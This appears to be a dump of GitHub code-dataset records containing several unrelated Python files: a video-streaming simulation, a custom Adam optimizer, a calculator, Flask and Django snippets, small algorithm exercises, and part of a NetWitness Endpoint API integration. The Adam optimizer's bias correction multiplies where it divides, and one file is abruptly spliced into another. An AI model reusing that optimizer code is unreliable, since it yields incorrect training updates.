get_video_chunk(self, quality):\n\n assert quality >= 0\n assert quality < BITRATE_LEVELS\n\n video_chunk_size = self.video_size[quality][self.video_chunk_counter]\n \n # use the delivery opportunity in mahimahi\n delay = 0.0 # in ms\n video_chunk_counter_sent = 0 # in bytes\n \n while True: # download video chunk over mahimahi\n # 根据随机开始的时间点,将带宽转化\n throughput = self.cooked_bw[self.mahimahi_ptr] \\\n * B_IN_MB / BITS_IN_BYTE\n # 记录时间差\n duration = self.cooked_time[self.mahimahi_ptr] \\\n - self.last_mahimahi_time\n # 计算下载了多少,随后是一个参数,不用在意\n packet_payload = throughput * duration * PACKET_PAYLOAD_PORTION\n\n if video_chunk_counter_sent + packet_payload > video_chunk_size:\n # 视频块的下载不会正好的用完每一段时间,最后一段不是整数,计算碎片时间\n fractional_time = (video_chunk_size - video_chunk_counter_sent) / \\\n throughput / PACKET_PAYLOAD_PORTION\n delay += fractional_time\n self.last_mahimahi_time += fractional_time\n assert(self.last_mahimahi_time <= self.cooked_time[self.mahimahi_ptr])\n # 视频块下载完毕,跳出\n break\n\n video_chunk_counter_sent += packet_payload\n delay += duration\n self.last_mahimahi_time = self.cooked_time[self.mahimahi_ptr]\n self.mahimahi_ptr += 1\n # 到轨迹末尾的时候,归零\n if self.mahimahi_ptr >= len(self.cooked_bw):\n # loop back in the beginning\n # note: trace file starts with time 0\n self.mahimahi_ptr = 1\n self.last_mahimahi_time = 0\n # 循环结束,记录下载视频块的时间\n delay *= MILLISECONDS_IN_SECOND\n delay += LINK_RTT\n\n # add a multiplicative noise to the delay\n delay *= np.random.uniform(NOISE_LOW, NOISE_HIGH)\n # 修改转码buffer\n self.energy.modify_buffer_transcode(self.video_chunk_counter + 1, delay)\n # rebuffer time\n # 计算延迟时间,buffer是已经下载的视频时长\n rebuf = np.maximum(delay - self.buffer_size, 0.0)\n\n # update the buffer\n # buffer在下载视频的时候播放了多长的视频,就减少了多长时间的buffer\n self.buffer_size = np.maximum(self.buffer_size - delay, 0.0)\n\n # add in the new chunk\n # 下载来的视频又增大了buffer\n self.buffer_size += VIDEO_CHUNCK_LEN\n\n # sleep if buffer gets too large\n # 大于buffer值就停止下载\n sleep_time = 0\n if self.buffer_size > BUFFER_THRESH:\n # exceed the buffer limit\n # we need to skip some network bandwidth here\n # but do not add up the delay\n drain_buffer_time = self.buffer_size - BUFFER_THRESH\n # 计算大于等于改值的最小整数\n sleep_time = np.ceil(drain_buffer_time / DRAIN_BUFFER_SLEEP_TIME) * \\\n DRAIN_BUFFER_SLEEP_TIME\n # 等待睡眠时间,把buffer消耗一点\n self.buffer_size -= sleep_time\n self.energy.modify_buffer_transcode(self.video_chunk_counter + 1, sleep_time)\n # 把带宽轨迹的时间点跳过睡眠的时间点\n while True:\n duration = self.cooked_time[self.mahimahi_ptr] \\\n - self.last_mahimahi_time\n if duration > sleep_time / MILLISECONDS_IN_SECOND:\n self.last_mahimahi_time += sleep_time / MILLISECONDS_IN_SECOND\n break\n sleep_time -= duration * MILLISECONDS_IN_SECOND\n self.last_mahimahi_time = self.cooked_time[self.mahimahi_ptr]\n self.mahimahi_ptr += 1\n\n if self.mahimahi_ptr >= len(self.cooked_bw):\n # loop back in the beginning\n # note: trace file starts with time 0\n self.mahimahi_ptr = 1\n self.last_mahimahi_time = 0\n\n # the \"last buffer size\" return to the controller\n # Note: in old version of dash the lowest buffer is 0.\n # In the new version the buffer always have at least\n # one chunk of video\n return_buffer_size = self.buffer_size\n # 计算能耗和时延\n temp_energy, temp_delay = self.energy.cacal_energy(quality, self, self.cache_status[self.video_chunk_counter])\n delay += temp_delay\n\n self.video_chunk_counter += 1\n video_chunk_remain = self.TOTAL_VIDEO_CHUNCK - self.video_chunk_counter\n\n end_of_video = False\n if self.video_chunk_counter >= self.TOTAL_VIDEO_CHUNCK:\n end_of_video = True\n self.buffer_size = 0\n self.video_chunk_counter = 0\n\n # pick a random trace file\n self.trace_idx = np.random.randint(len(self.all_cooked_time))\n self.cooked_time = self.all_cooked_time[self.trace_idx]\n self.cooked_bw = self.all_cooked_bw[self.trace_idx]\n\n # randomize the start point of the video\n # note: trace file starts with time 0\n self.mahimahi_ptr = np.random.randint(1, len(self.cooked_bw))\n self.last_mahimahi_time = self.cooked_time[self.mahimahi_ptr - 1]\n self.set_video_size()\n\n next_video_chunk_sizes = []\n next_video_chunk_buffer_status = []\n for i in range(BITRATE_LEVELS):\n if (self.video_chunk_counter + i < self.TOTAL_VIDEO_CHUNCK):\n next_video_chunk_sizes.append(self.video_size[4][self.video_chunk_counter + i])\n next_video_chunk_buffer_status.append(self.cache_status[self.video_chunk_counter + i])\n else:\n next_video_chunk_sizes.append(0.0)\n next_video_chunk_buffer_status.append(0)\n\n return delay, \\\n sleep_time, \\\n return_buffer_size / MILLISECONDS_IN_SECOND, \\\n rebuf / MILLISECONDS_IN_SECOND, \\\n video_chunk_size, \\\n next_video_chunk_sizes, \\\n end_of_video, \\\n video_chunk_remain, \\\n temp_energy, \\\n next_video_chunk_buffer_status\n\n # 设置了指定的网络轨迹之后同时默认指定了相应的指定测试视频块\n def test_chunk(self, cooked_time, cooked_bw):\n self.cooked_time = cooked_time\n self.cooked_bw = cooked_bw\n self.mahimahi_ptr = 1\n self.last_mahimahi_time = 0\n\n file_path = 'test_dateset/special_videos'\n bitrate = 0\n with open(file_path, 'rb') as f:\n for line in f:\n self.video_size[bitrate] = np.array(line.split(), dtype=int).tolist()\n bitrate += 1\n self.TOTAL_VIDEO_CHUNCK = len(self.video_size[0])\n\ndef ftest():\n video_files = os.listdir(VIDEO_SIZE_FILE)\n for video_file in video_files:\n file_path = VIDEO_SIZE_FILE + video_file\n video_size = {}\n bitrate = 0\n with open(file_path, 'rb') as f:\n for line in f:\n video_size[bitrate] = np.array(line.split(), dtype=int).tolist()\n bitrate += 1\n print(\"end\")\n\n\nif __name__ == '__main__':\n all_cooked_time, all_cooked_bw, _ = load_trace.load_trace(TRAIN_TRACES)\n net_env = Environment(all_cooked_time=all_cooked_time,\n all_cooked_bw=all_cooked_bw,\n random_seed=1)\n net_env.set_buffer_transcode(5, 2)\n while True:\n delay, sleep_time, buffer_size, rebuf, \\\n video_chunk_size, next_video_chunk_sizes, \\\n end_of_video, video_chunk_remain = \\\n net_env.get_video_chunk(0)\n net_env.set_buffer_transcode(3, 2)\n print(134)\n\n print(net_env)\n","repo_name":"KaiRecession/channel_transcode","sub_path":"env.py","file_name":"env.py","file_ext":"py","file_size_in_byte":10632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"2269780260","text":"#!/usr/bin/env python3\n\nfrom .classes.config import MonsterConfig\nfrom .classes.vesselthread import VesselThread\nfrom .classes.shorethread import ShoreThread\n\nfrom multiprocessing import Manager\n\nimport pathlib\nimport time\n\nif __name__ == '__main__':\n config_path = pathlib.Path(__file__).parent.absolute() / \"settings.ini\"\n config = MonsterConfig()\n config.readFile(config_path)\n\n with Manager() as manager:\n state = manager.dict()\n state[\"files\"] = manager.list()\n state[\"config\"] = config\n\n threads = []\n\n for vessel in config.vessels:\n thread = VesselThread(vessel, state)\n thread.start()\n threads.append(thread)\n\n shore = ShoreThread(state)\n shore.start()\n\n while True:\n try:\n time.sleep(10)\n except KeyboardInterrupt:\n print(\"Keyboard interrupt received - stopping threads\")\n shore.terminate()\n for thread in threads:\n thread.terminate()\n exit()\n","repo_name":"KumiSystems/contentmonster","sub_path":"src/contentmonster/worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":1069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"28789303931","text":"from typing import Dict, List\n\nimport torch\nfrom torch.functional import Tensor\n\n\nclass Adam:\n def __init__(\n self,\n params: List[torch.nn.Parameter],\n lr=0.001,\n beta_1=0.9,\n beta_2=0.999,\n eps=10e-8,\n ):\n self.params = params\n self.lr = lr\n self.beta_1 = beta_1\n self.beta_2 = beta_2\n self.eps = eps\n self.timestep = 0\n\n self.first_moments: Dict[torch.nn.Parameter, Tensor] = {}\n self.second_moments: Dict[torch.nn.Parameter, Tensor] = {}\n for param in params:\n self.first_moments[param] = torch.zeros_like(param)\n self.second_moments[param] = torch.zeros_like(param)\n\n def step(self):\n self.timestep += 1\n beta_1 = self.beta_1\n beta_2 = self.beta_2\n\n for p in self.params:\n first_moment = add_to_moving_average(\n old=self.first_moments[p], new=p.grad, beta=beta_1\n )\n second_moment = add_to_moving_average(\n old=self.second_moments[p], new=p.grad ** 2, beta=beta_2\n )\n bias_corrected_first_moment = first_moment * (1 - beta_1 ** self.timestep)\n bias_corrected_second_moment = second_moment * (1 - beta_2 ** self.timestep)\n p.data -= (\n self.lr\n * bias_corrected_first_moment\n / (torch.sqrt(bias_corrected_second_moment) + self.eps)\n )\n self.first_moments[p] = first_moment\n self.second_moments[p] = second_moment\n\n\ndef add_to_moving_average(old, new, beta):\n return old * beta + new * (1 - beta)\n","repo_name":"ElanaPearl/ml-playground","sub_path":"optimizers.py","file_name":"optimizers.py","file_ext":"py","file_size_in_byte":1651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"6922008712","text":"# Joshua Adrian O. Daet\n# BSCpE 1-4\n# Python Caluclator\n\n# Operation Methods\ndef add(first, second):\n return first + second\n\ndef subtract(first, second):\n return first - second\n\ndef multiply(first, second):\n return first * second\n\ndef divide(first, second):\n return first / second\ndef get_number_input(prompt):\n while True:\n try:\n return float(input(prompt))\n except ValueError:\n print(\"\\033[1;31mInvalid input! Please enter a valid number.\\033[0m\")\n\n# Asks the user to choose what math operation will be used (Addition, Subtraction, Multiplication and Division)\noperations = {\n 1: (\"(+) Addition\", add),\n 2: (\"(-) Subtraction\", subtract),\n 3: (\"(x) Multiplication\", multiply),\n 4: (\"(/) Division\", divide),\n}\nresponse = \"Y\"\nwhile response == \"Y\":\n print(\"Choose an operation:\")\n for operation_num, (operation_name, _) in operations.items():\n print(f\"({operation_num}) {operation_name}\")\n\n while True:\n try:\n operation = int(input(\"Enter 1 / 2 / 3 / 4: \"))\n if operation not in operations:\n raise ValueError(\"\\033[1;31mInvalid operation! Please enter a valid operation number (1-4).\\033[0m\")\n break\n except ValueError as error:\n print(error)\n\n# Asks the user for the two numbers that'll be used for the equation chosen\n print(f\"You are now using \\033[1;32m{operations[operation][0]}\\033[0m\")\n first_number = get_number_input(\"Enter the first number: \")\n second_number = get_number_input(\"Enter the second number: \")\n try:\n _, operation_function = operations[operation]\n result = operation_function(first_number, second_number)\n except ZeroDivisionError:\n print(\"\\033[1;31mError: division by zero!\\033[0m\")\n continue\n\n# Displays the result\n print(\"Result:\", result)\n\n# Asks the user if the users wants to try again or not\n #If yes, repeat Step 1\n while True:\n try:\n response = input(\"Do you want to try again? Y/N: \").upper()\n if response not in {\"Y\",\"N\"}:\n raise ValueError(\"\\033[1;31mInvalid Response! Please enter a valid Letter.\\033[0m\")\n break\n except ValueError as error:\n print(error)\n\n #If no, display thank you\nprint(\"\\033[1;32mThank You for using!\\033[0m\")\nprint(\"\\033[32m\",\"*\"*100,\"\\033[m\")","repo_name":"jjaenim/Python-Calculator","sub_path":"Calculator.py","file_name":"Calculator.py","file_ext":"py","file_size_in_byte":2388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"36332959699","text":"import click\nfrom flask.cli import FlaskGroup\n\nfrom udpapi.app import create_app\n\napp = create_app()\n\n\ndef create_udpapi(info):\n return create_app(cli=True)\n\n\n@click.group(cls=FlaskGroup, create_app=create_udpapi)\ndef cli():\n \"\"\"Main entry point\"\"\"\n\n\n@cli.command(\"init\")\ndef init():\n \"\"\"Init application, create database tables\n and create a new user named admin with password admin\n \"\"\"\n from udpapi.extensions import db\n from udpapi.models import User\n click.echo(\"drop database\")\n db.drop_all()\n click.echo(\"create database\")\n db.create_all()\n click.echo(\"done\")\n\n click.echo(\"create user\")\n user = User(\n username='admin',\n email='admin@mail.com',\n password='admin',\n active=True\n )\n db.session.add(user)\n db.session.commit()\n click.echo(\"created user admin\")\n\n\n@cli.command(\"drop_db\")\ndef drop_db():\n \"\"\"Drops the db tables.\"\"\"\n click.echo(\"drop database\")\n # db.drop_all()\n\n\nif __name__ == \"__main__\":\n cli()\n\n import os\n if os.environ.get('PORT') is not None:\n app.run(debug=True, host='0.0.0.0', port=os.environ.get('PORT'))\n else:\n app.run(debug=True, host='0.0.0.0')\n","repo_name":"noinarisak/upd-restful-api","sub_path":"udpapi/manage.py","file_name":"manage.py","file_ext":"py","file_size_in_byte":1195,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"18676897141","text":"def isvalid(li,n,m,mid):\n s = 0\n for i in range(n):\n if li[i]>=mid:\n s+=(li[i]-mid)\n if s>m:\n return False\n return True\n\nn,m = map(int,input().split())\nli = list(map(int,input().split()))\na = min(li)\nb = max(li)\nres = -1\nwhile a<=b:\n mid = (a+b)//2\n if isvalid(li,n,m,mid):\n res = mid\n b = mid-1\n else:\n a = mid+1\nprint(res)\n\n","repo_name":"Anku-Kashyap/DSA","sub_path":"Tree cutting.py","file_name":"Tree cutting.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"50"} +{"seq_id":"14516169235","text":"from django.urls import path\nfrom .views import CreateDetailView, ListDetailView, DetailView, CreateOptionView, CreateCourseView, UpdateCourseView,UpdateOptionView\nfrom rest_framework_simplejwt.views import TokenVerifyView, TokenObtainPairView\n\nurlpatterns = [\n path(\"create/\",CreateDetailView.as_view(), name=\"create_detail\"),\n path(\"get/\",ListDetailView.as_view(), name=\"get\"),\n # path(\"retrieve/\",RetrieveDetailView.as_view(), name=\"retrieve_detail\"),\n path(\"info/\",DetailView.as_view(), name=\"info\"),\n path(\"updOpt/\",UpdateOptionView.as_view(), name=\"info\"),\n path(\"updCourse/\",UpdateCourseView.as_view(), name=\"info\"),\n path(\"createOpt/\",CreateOptionView.as_view(), name=\"create_option\"),\n path(\"createCourse/\",CreateCourseView.as_view(), name=\"create_course\"),\n path('token/', TokenObtainPairView.as_view(), name='token_obtain_pair'),\n # path('api/token/refresh/', TokenRefreshView.as_view(), name='token_refresh'),\n path('token/verify/', TokenVerifyView.as_view(), name='token_verify')\n \n]","repo_name":"Himmiee/Quizzy","sub_path":"main/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1064,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"12938169504","text":"import random\n\n\ndef insertion_sort_inplace(array):\n for index, value in enumerate(array):\n if index == 0:\n continue\n\n i = index - 1\n while i >= 0 and array[i] > value:\n array[i + 1] = array[i]\n array[i] = value\n i = i - 1\n\n return array\n\nmy_randoms = [random.randrange(1, 100, 1) for _ in range(5)]\nprint(\"input = \", my_randoms)\nprint(insertion_sort_inplace(my_randoms))\n","repo_name":"sidcool1234/Code_For_Fun","sub_path":"problem_set_three/sorting.py","file_name":"sorting.py","file_ext":"py","file_size_in_byte":442,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"50"} +{"seq_id":"28950020589","text":"\"\"\"\nSample plugin\n\"\"\"\n\nimport logging\n\nfrom spockbot.plugins.base import PluginBase\n\nlogger = logging.getLogger('spockbot')\n\n\nclass DemoPlugin(PluginBase):\n events = {\n 'LOGIN edge[i][k] + edge[k][j]: \n print(-1)\n exit()\n\nfor i in range(n):\n for j in range(i, n):\n if edges[i][j]:\n res += edge[i][j]\n\nprint(res)","repo_name":"JH-TT/Coding_Practice","sub_path":"BaekJoon/Graph_Thm/1507.py","file_name":"1507.py","file_ext":"py","file_size_in_byte":917,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"6404514583","text":"import demistomock as demisto # noqa: F401\nfrom CommonServerPython import * # noqa: F401\n\n\"\"\"\n\nIMPORTS\n\n\"\"\"\nimport math\nimport os\n\nimport requests\nimport urllib3\n\n# disable insecure warnings\nurllib3.disable_warnings()\n\n\"\"\"\n\nHANDLE PROXY\n\n\"\"\"\n\n\ndef set_proxies():\n if demisto.params()['proxy']:\n http = os.environ['http_proxy'] or os.environ['HTTP_PROXY']\n https = os.environ['https_proxy'] or os.environ['HTTPS_PROXY']\n proxies = {\n 'http': http,\n 'https': https\n }\n return proxies\n return None\n\n\n\"\"\"\n\nGLOBAL VARS\n\n\"\"\"\n\nSERVER_URL = demisto.params()['server']\nBASE_PATH = '{}/api/v2'.format(SERVER_URL) if SERVER_URL.endswith('/') else '{}/api/v2'.format(SERVER_URL)\nUSERNAME = demisto.params()['credentials']['identifier']\nPASSWORD = demisto.params()['credentials']['password']\nUSE_SSL = not demisto.params()['insecure']\nPROXIES = set_proxies()\n\nMACHINE_DATA_EXTENDED = [\n \"AgentID\",\n \"MachineName\",\n \"LocalIP\",\n \"RemoteIP\",\n \"MAC\",\n \"MachineStatus\",\n \"IIOCScore\",\n \"IIOCLevel0\",\n \"IIOCLevel1\",\n \"IIOCLevel2\",\n \"IIOCLevel3\",\n \"AntiVirusDisabled\",\n \"Comment\",\n \"ContainmentStatus\",\n \"ContainmentSupported\",\n \"Country\",\n \"DNS\",\n \"DomainName\",\n \"FirewallDisabled\",\n \"Gateway\",\n \"Group\",\n \"Idle\",\n \"InstallTime\",\n \"InstallationFailed\",\n \"LastScan\",\n \"LastSeen\",\n \"NetworkSegment\",\n \"OperatingSystem\",\n \"OrganizationUnit\",\n \"Platform\",\n \"Scanning\",\n \"UserName\",\n \"VersionInfo\"\n]\n\nMACHINE_DATA = [\n 'MachineName',\n 'MachineGUID',\n 'Online',\n 'OperatingSystem',\n 'LastScan',\n 'IOCScore',\n 'MacAddress',\n 'LocalIp'\n]\n\nIOC_DATA = [\n \"Description\",\n \"Type\",\n \"MachineCount\",\n \"ModuleCount\",\n \"IOCLevel\",\n \"Priority\",\n \"Active\",\n \"LastExecuted\",\n \"Alertable\",\n \"IOCTriggeredOnMachine\"\n]\n\nMODULE_DATA = [\n 'ModuleName',\n 'ModuleID',\n 'Description',\n 'IOCScore',\n 'AnalyticsScore',\n 'GlobalMachineCount',\n 'MD5',\n 'SHA256'\n]\n\nMODULE_DATA_EXTENDED = [\n \"ModuleID\",\n \"ModuleName\",\n \"FullPath\",\n \"FirstSeenName\",\n \"FirstSeenDate\",\n \"MD5\",\n \"SHA1\",\n \"SHA256\",\n \"IIOCLevel0\",\n \"IIOCLevel1\",\n \"IIOCLevel2\",\n \"IIOCLevel3\",\n \"IIOCScore\",\n \"Blacklisted\",\n \"Graylisted\",\n \"Whitelisted\",\n \"MachineCount\",\n \"RiskScore\",\n \"AVDefinitionHash\",\n \"AVDescription\",\n \"AVFirstThreat\",\n \"AVScanResult\",\n \"AccessNetwork\",\n \"AnalysisTime\",\n \"AppDataLocal\",\n \"AppDataRoaming\",\n \"AutoStartCategory\",\n \"Autorun\",\n \"BlacklistCategory\",\n \"BlockingStatus\",\n \"Desktop\",\n \"Downloaded\",\n \"DownloadedTime\",\n \"FakeStartAddress\",\n \"FileAccessDenied\",\n \"FileAccessTime\",\n \"FileCreationTime\",\n \"FileEncrypted\",\n \"FileHiddenAttributes\",\n \"FileModificationTime\",\n \"FileName\",\n \"FileOccurrences\",\n \"Floating\",\n \"HashLookup\",\n \"Hooking\",\n \"ImportedDLLCount\",\n \"ImportedDLLs\",\n \"LiveConnectRiskEnum\",\n \"LiveConnectRiskReason\",\n \"Loaded\",\n \"OriginalFileName\",\n \"Packed\",\n \"Platform\",\n \"RelativeFileName\",\n \"RelativePath\",\n \"RemoteFileName\",\n \"RemotePath\",\n \"Signature\",\n \"SignatureTimeStamp\",\n \"SizeInBytes\",\n \"Status\",\n \"YaraDefinitionHash\",\n \"YaraScanDescription\",\n \"YaraScanFirstThreat\",\n \"YaraScanresult\",\n \"Windows\",\n \"WritetoExecutable\",\n \"SysWOW64\",\n \"System32\",\n \"Temporary\",\n \"TooManyConnections\",\n \"User\",\n \"SignatureValid\",\n \"SignedbyMicrosoft\",\n \"SignatureExpired\",\n \"SignaturePresent\",\n \"RenametoExecutable\",\n \"ReservedName\",\n \"ProcessAccessDenied\",\n \"ProgramData\",\n \"ProgramFiles\",\n \"ReadDocument\",\n \"MD5Collision\",\n \"InstallerDirectory\",\n \"LikelyPacked\",\n \"Listen\",\n \"ImageHidden\",\n \"ImageMismatch\",\n \"FirewallAuthorized\",\n \"AutorunScheduledTask\",\n \"Beacon\"\n]\n\nMODULE_DATA_EXTENDED_CONTEXT = [\n \"ModuleID\",\n \"FileName\",\n \"FullPath\",\n \"MD5\",\n \"RiskScore\",\n \"SHA1\",\n \"SHA256\",\n \"IIOCScore\",\n \"Blacklisted\",\n \"Graylisted\",\n \"Whitelisted\",\n \"MachineCount\",\n \"IIOCLevel0\",\n \"IIOCLevel1\",\n \"IIOCLevel2\",\n \"IIOCLevel3\",\n \"FirstSeenName\",\n \"FirstSeenDate\"\n]\n\n\ndef is_html_response(response):\n if 'text\\html' in response.headers.get('Content-Type', '').lower():\n return True\n # look for an html tag in the response text\n # if re.search(\"<[^>]+>\", response.text):\n # return True\n return False\n\n\ndef get_html_from_response(response):\n text = response.text\n open_tag = text.lower().find('')\n return text[open_tag: close_tag + len('')]\n\n\ndef html_error_entry(html):\n return {\n 'Type': entryTypes['error'],\n 'Contents': html,\n 'ContentsFormat': formats['html']\n }\n\n\ndef parse_error_response(error_response):\n # NetWitness has fixed structure for\n try:\n error = error_response.json()\n return f'Request failed with status code: ' \\\n f'{error_response.status_code}\\nReason: {error.ResponseStatus.ErrorCode}\\n{error.ResponseStatus.Message}'\n except Exception as e:\n demisto.debug(e)\n return f'Request failed with status code: {error_response.status_code}\\n{error_response.content}'\n\n\ndef http_request(method, url, data=None, headers={'Accept': 'application/json'}, url_params=None):\n # send http request using user settings for unsecure and proxy parameters\n # uses basic auth\n # returns the http response\n\n LOG(f'Attempting {method} request to {url}')\n try:\n response = requests.request(\n method,\n url,\n headers=headers,\n data=data,\n auth=(USERNAME, PASSWORD),\n params=url_params,\n verify=USE_SSL,\n proxies=PROXIES\n )\n except requests.exceptions.SSLError as e:\n LOG(e)\n raise ValueError('An SSL error occurred. Consider to set unsecure')\n\n if is_html_response(response):\n html_body = get_html_from_response(response)\n demisto.results(html_error_entry(html_body))\n raise ValueError('Caught HTML response, please verify server url.')\n\n if response.status_code < 200 or response.status_code >= 300:\n msg = parse_error_response(response)\n raise ValueError(msg)\n\n try:\n return response.json()\n except Exception as e:\n LOG(e)\n return {}\n\n\ndef login():\n url = f'{BASE_PATH}/auth'\n # this call will raise an exception on wrong credential\n http_request('GET', url)\n\n\ndef get_machines(query, limit):\n # GET /machines\n\n # specify additional data to be returned\n query['Properties'] = 'Online,OperatingSystem,LastScanUTCTime,IOCScore,MacAddress,LocalIp'\n # add paging to query\n query['page'] = 1\n # set per_page parameter only if 'limit' is under 50\n if limit < 50:\n query['per_page'] = limit # int\n\n machines = []\n # loop on page number\n while True:\n res = http_request(\n 'GET',\n '{}/machines'.format(BASE_PATH),\n url_params=query\n )\n items = res.get('Items')\n if not items:\n # no results\n break\n machines.extend(items)\n if len(machines) >= limit:\n # reached/exceeded limit\n break\n # get next page\n query['page'] = query['page'] + 1\n\n if len(machines) > limit:\n # results exceeded limit\n machines[limit - 1:-1] = []\n\n return machines\n\n\ndef get_machines_command():\n args = demisto.args()\n\n # prepare query\n query = {\n 'MachineName': args.get('machineName'), # string\n 'iocscore_gte': int(args.get('iocScoreGreaterThan')) if args.get('iocScoreGreaterThan') else None, # int\n 'iocscore_lte': int(args.get('iocScoreLessThan')) if args.get('iocScoreLessThan') else None, # int\n 'IpAddress': args.get('ipAddress'), # string\n 'macAddress': args.get('macAddress'), # string\n }\n limit = int(args.get('limit')) if args.get('limit') else math.inf\n if limit < 1:\n raise ValueError(\"Please input valid limit number\")\n\n machines = get_machines(query, limit)\n\n context = []\n for machine in machines:\n properties = machine['Properties']\n context.append(\n {\n 'MachineGUID': machine.get('Id'),\n 'MachineName': machine.get('Name'),\n 'Online': properties.get('Online'),\n 'OperatingSystem': properties.get('OperatingSystem'),\n 'LastScan': properties.get('LastScanUTCTime'),\n 'IOCScore': properties.get('IOCScore'),\n 'MacAddress': properties.get('MacAddress'),\n 'LocalIp': properties.get('LocalIp')\n }\n )\n\n entry = {\n 'Type': entryTypes['note'],\n 'Contents': {\n \"Machines\": machines,\n \"Machine\": [],\n \"IOCs\": [],\n \"Modules\": []\n },\n 'ContentsFormat': formats['json'],\n 'ReadableContentsFormat': formats['markdown'],\n 'HumanReadable': tableToMarkdown('NetWitness Endpoint - Get Machines', context, MACHINE_DATA),\n 'EntryContext': {\n \"NetWitness.Machines(obj.MachineGUID==val.MachineGUID)\": context\n }\n }\n\n # get additional machine data\n for id in [machine[\"Id\"] for machine in machines]:\n\n if args.get('includeMachineData') == 'yes':\n machine_entry = create_machine_entry(id)\n\n entry[\"Contents\"][\"Machine\"].append(machine_entry[\"Contents\"])\n entry[\"HumanReadable\"] += '\\n{}'.format(machine_entry[\"HumanReadable\"])\n entry[\"EntryContext\"].update(machine_entry[\"EntryContext\"])\n\n if args.get('includeMachineIOCs') == 'yes':\n iocs_entry = create_iocs_entry(id, 50)\n\n entry[\"Contents\"][\"IOCs\"].extend(iocs_entry[\"Contents\"])\n entry[\"HumanReadable\"] += '\\n{}'.format(iocs_entry[\"HumanReadable\"])\n entry[\"EntryContext\"].update(iocs_entry[\"EntryContext\"])\n\n if args.get('includeMachineModules') == 'yes':\n modules_entry = create_modules_entry(id, {}, 30)\n\n entry[\"Contents\"][\"Modules\"].extend(modules_entry[\"Contents\"])\n entry[\"HumanReadable\"] += '\\n{}'.format(modules_entry[\"HumanReadable\"])\n entry[\"EntryContext\"].update(modules_entry[\"EntryContext\"])\n\n demisto.results(entry)\n\n\ndef get_machine(machine_id):\n # GET /machines/{Guid}\n response = http_request(\n 'GET',\n '{}/machines/{}'.format(BASE_PATH, machine_id)\n )\n return response.get('Machine')\n\n\ndef create_machine_entry(machine_id):\n machine = get_machine(machine_id)\n machine_name = machine.get('MachineName')\n\n machine_data = {k: v for k, v in machine.items() if k in MACHINE_DATA_EXTENDED}\n machine_data[\"MachineGUID\"] = machine_id\n\n entry = {\n 'Type': entryTypes['note'],\n 'Contents': machine,\n 'ContentsFormat': formats['json'],\n 'ReadableContentsFormat': formats['markdown'],\n 'HumanReadable': tableToMarkdown('NetWitness Endpoint - Machine {} Full Data'.format(machine_name),\n machine_data, MACHINE_DATA_EXTENDED),\n 'EntryContext': {\n \"NetWitness.Machines(obj.MachineGUID==val.MachineGUID)\": machine_data\n }\n }\n return entry\n\n\ndef get_machine_command():\n entry = create_machine_entry(demisto.args().get('machineGUID'))\n demisto.results(entry)\n\n\ndef list_iocs(machine_id, limit):\n # GET /machines/{Guid}/instantiocs\n\n paging_params = {\n 'page': 1\n }\n # set per_page parameter only if 'limit' is under 50\n if limit < 50:\n paging_params['per_page'] = limit\n\n iocs = []\n # loop on page number\n while True:\n res = http_request(\n 'GET',\n '{}/machines/{}/instantiocs'.format(BASE_PATH, machine_id),\n url_params=paging_params\n )\n items = res.get('Iocs')\n if not items:\n # no results\n break\n iocs.extend(items)\n if len(iocs) >= limit:\n # reached/exceeded limit\n break\n # get next page\n paging_params['page'] = paging_params['page'] + 1\n\n if len(iocs) > limit:\n # results exceeded limit\n iocs[limit - 1:-1] = []\n\n return iocs\n\n\ndef create_iocs_entry(machine_id, limit):\n iocs = list_iocs(machine_id, limit)\n\n context = []\n for ioc in iocs:\n data = {k: v for k, v in ioc.items() if k in IOC_DATA}\n data['MachineGUID'] = machine_id\n context.append(data)\n\n entry = {\n 'Type': entryTypes['note'],\n 'Contents': iocs,\n 'ContentsFormat': formats['json'],\n 'ReadableContentsFormat': formats['markdown'],\n 'HumanReadable': tableToMarkdown(\"NetWitness Endpoint - Machine IOC's\", context, IOC_DATA),\n 'EntryContext': {\n \"NetWitness.IOCS(obj.Description==val.Description)\": context,\n }\n }\n return entry\n\n\ndef list_iocs_command():\n args = demisto.args()\n machine_id = args.get('machineGUID')\n limit = int(args.get('limit')) if args.get('limit') else math.inf\n\n if limit < 1:\n raise ValueError(\"Please input valid limit number\")\n\n entry = create_iocs_entry(machine_id, limit)\n demisto.results(entry)\n\n\ndef get_machine_modules(machine_id, query, limit):\n # GET /machines/{Guid}/modules\n\n # specify additional data to be returned\n query['Properties'] = 'Description,IOCScore,AnalyticsScore,GlobalMachineCount,HashMD5,HashSHA256'\n # add paging to query\n query['page'] = 1\n # set per_page parameter only if 'limit' is under 50\n if limit < 50:\n query['per_page'] = limit\n\n modules = []\n # loop on page number\n while True:\n res = http_request(\n 'GET',\n '{}/machines/{}/modules'.format(BASE_PATH, machine_id),\n url_params=query\n )\n items = res.get('Items')\n if not items:\n # no results\n break\n modules.extend(items)\n if len(modules) >= limit:\n # reached/exceeded limit\n break\n # get next page\n query['page'] = query['page'] + 1\n\n if len(modules) > limit:\n # results exceeded limit\n modules[limit - 1:-1] = []\n\n return modules\n\n\ndef create_modules_entry(machine_id, query, limit):\n modules = get_machine_modules(\n machine_id,\n query,\n limit\n )\n\n context = []\n files = []\n for module in modules:\n properties = module['Properties']\n context.append(\n {\n 'ModuleID': module.get('Id'),\n 'ModuleName': module.get('Name'),\n 'Description': properties.get('Description'),\n 'IOCScore': properties.get('IOCScore'),\n 'AnalyticsScore': properties.get('AnalyticsScore'),\n 'GlobalMachineCount': properties.get('GlobalMachineCount'),\n 'MD5': properties.get('HashMD5'),\n 'SHA256': 